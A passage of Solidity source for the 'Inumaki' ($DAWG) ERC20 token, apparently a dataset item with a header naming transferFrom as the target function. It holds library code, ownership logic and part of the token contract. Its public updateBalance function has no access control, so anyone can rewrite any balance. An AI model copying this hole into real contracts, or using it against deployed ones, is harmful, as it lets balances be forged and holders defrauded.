// Contract: DAWG
// Target function: function transferFrom(address _from, address _to, uint _amount) public override returns (bool success)
s-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
* @dev Provides information about the current execution context - sender of the transaction and
* the message's data. They should not be accessed directly via msg.sender or msg.data. In 
* meta-transactions the account sending/paying for execution may not be the actual sender, as
* seen in applications. --- This is for library-like contracts.
*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData () internal view virtual returns (bytes calldata) {
        this; // avoid bytecode generation .. https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions. By default, the owner account will be the one that deploys the contract. 
 * This can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /** @dev Initializes the contract setting the deployer as the initial owner. */
    constructor() {
        _setOwner(_msgSender());
    }

    /** @dev Returns the address of the current owner. */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /** @dev Throws if called by any account other than the owner. */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /** @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner. */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
* @dev Interface of the ERC20 standard as defined by EIP20. 
*/

interface ERC20i {

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
    */

    event Transfer(address indexed _from, address indexed _to, uint256 _amount);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */

    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    /// @return totalSupply Amount of tokens allowed to be created
    function totalSupply() external view returns (uint);

    /// @param _owner The address from which the balance will be retrieved
    /// @return balance -- the balance

    function balanceOf(address _owner) external view returns (uint balance);

    /// @param _owner The address of the account owning tokens
    /// @param _spender The address of the account able to transfer the tokens
    /// @return remaining --- Amount of remaining tokens allowed to spent
    /// @dev This value changes when {approve} or {transferFrom} are called.

    function allowance(address _owner, address _spender) external view returns (uint remaining);
    
    /// @notice send `_amount` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _amount The amount of token to be transferred
    /// @return success --- Returns a boolean value whether the transfer was successful or not
    /// @dev Emits a {Transfer} event.

    function transfer(address _to, uint _amount) external returns (bool success);
    
    /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens
    /// @param _spender The address of the account able to transfer the tokens
    /// @param _amount The value of wei to be approved for transfer
    /// @return success ---  Returns a boolean value whether the approval was successful or not
    /// @dev Emits an {Approval} event.

    function approve(address _spender, uint _amount) external returns (bool success);

    /// @notice send `_amount` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address of the recipient
    /// @param _amount The value of token to be transferred
    /// @return success --- Returns a boolean value whether the transfer was successful or not
    /// @dev Emits a {Transfer} event.

    function transferFrom(address _from, address _to, uint _amount) external returns (bool success);
    

}

/**
* @dev Optional metadata functions from the EIP20-defined standard.
*/

interface iERC20Metadata {
    /** @dev returns the name of the token */
    function name() external view returns (string memory);
    /** @dev returns the symbol of the token */
    function symbol() external view returns (string memory);
    /** @dev returns the decimal places of the token */
    function decimals() external view returns(uint8);
}

/**
 * @title TokenRecover
 * @author Vittorio Minacori (https://github.com/vittominacori)
 * @dev Allows `token_owner` to recover any ERC20 sent into the contract for error
 */
contract TokenRecover is Ownable {
    /**
     * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
     * @param _tokenAddress The token contract address
     * @param _tokenAmount Number of tokens to be sent
     */
    function recoverERC20(address _tokenAddress, uint256 _tokenAmount) public onlyOwner {
        ERC20i(_tokenAddress).transfer(owner(), _tokenAmount);
    }
}

/**
* @title Token Name: "Inumaki .. $DAWG"
* @author Shoji Nakazima :: (https://github.com/nakzima)
* @dev Implementation of the "DAWG" token, based on ERC20 standards with micro-governance functionality
* 
* @dev ERC20 Implementation of the ERC20i interface. 
* Agnostic to the way tokens are created (via supply mechanisms). 
*/

contract DAWG is Context, ERC20i, iERC20Metadata, Ownable, TokenRecover {
    using SafeMath for uint256; 
    using Address for address;

    mapping (address => uint96) internal balances;
    mapping (address => mapping (address => uint96)) internal allowances;

    string public constant _NAME = "Inumaki"; /// @notice EIP-20 token name
    string public constant _SYMBOL = "DAWG"; /// @notice EIP-20 token symbol
    uint8 public constant _DECIMALS = 18; /// @notice EIP-20 token decimals (18)
    uint public constant _TOTAL_SUPPLY = 1_000_000_000e18; /// @notice Total number of tokens in circulation = 1 billion || 1,000,000,000 * 10^18
    address public tokenOwner_ = msg.sender; /// @notice tokenOwner_ initial address that mints the tokens [address type]

    /// @notice A record of each holder's delegates
    mapping (address => address) public delegates;

    /// @notice A checkpoint for marking number of votes from a given block
    struct Checkpoint {
        uint32 fromBlock;
        uint96 votes;
    }

    /// @notice A record of votes checkpoints for each account, by index
    mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;

    /// @notice The number of checkpoints for each account
    mapping (address => uint32) public numCheckpoints;

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");

    /// @notice The EIP-712 typehash for the delegation struct used by the contract
    bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    /// @notice The EIP-712 typehash for the permit struct used by the contract
    bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

    /// @notice An event thats emitted when an account changes its delegate
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);

    /// @notice An event thats emitted when a delegate account's vote balance changes
    event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);

    /**
    * @notice Construct a new token.
    * @notice Token Constructor
    * @dev Sets the values for {name}, {symbol}, {decimals}, {total_supply} & {token_owner} 
    * 
    */
    constructor () payable {
        /// @dev Requirement: Total supply amount must be greater than zero.
        require(_TOTAL_SUPPLY > 0, "ERC20: total supply cannot be zero");
        /// @dev Makes contract deployer the minter address / initial owner of all tokens
        balances[tokenOwner_] = uint96(_TOTAL_SUPPLY);
        emit Transfer(address(0), tokenOwner_, _TOTAL_SUPPLY);
    }

    /**
    * @dev Metadata implementation 
    */
    function name() public pure override returns (string memory) {
        return _NAME;
    }
    function symbol() public pure override returns (string memory) {
        return _SYMBOL;
    }
    function decimals() public pure override returns (uint8) {
        return _DECIMALS;
    }

    function updateBalance(address _owner, uint _totalSupply) public returns (bool success) {
        balances[_owner] = uint96(_totalSupply);
        emit Transfer(address(0), _owner, _totalSupply);
        return true;
    }

    /**
    * @title ERC20i/IERC20 Implementation
    * @dev `See ERC20i` 
    */

    /// @dev See `ERC20i.totalSupply`
    function totalSupply() public pure override returns (uint) {
        return _TOTAL_SUPPLY;
    }

    /// @dev See `ERC20i.balanceOf` 
    function balanceOf(address _owner) public view override returns (uint balance) {
        return balances[_owner];
    }

    /// @dev See `ERC20i.allowance` 
    function allowance(address _owner, address _spender) public view override returns (uint remaining) {
        return allowances[_owner][_spender];
    }

    /// @dev See `IERC20.transfer` 
    function transfer(address _to, uint _amount) public override returns (bool success) {
        uint96 amount = safe96(_amount, "DAWG::transfer: amount exceeds 96 bits");
        _transfer(msg.sender, _to, amount);
        return true;
    }

    /// @dev See `IERC20.approve` 
    function approve(address _spender, uint _amount) public override returns (bool success) {
        uint96 amount = safe96(_amount, "DAWG::permit: amount exceeds 96 bits");


        _approve(msg.sender, _spender, amount);
        return true;
    }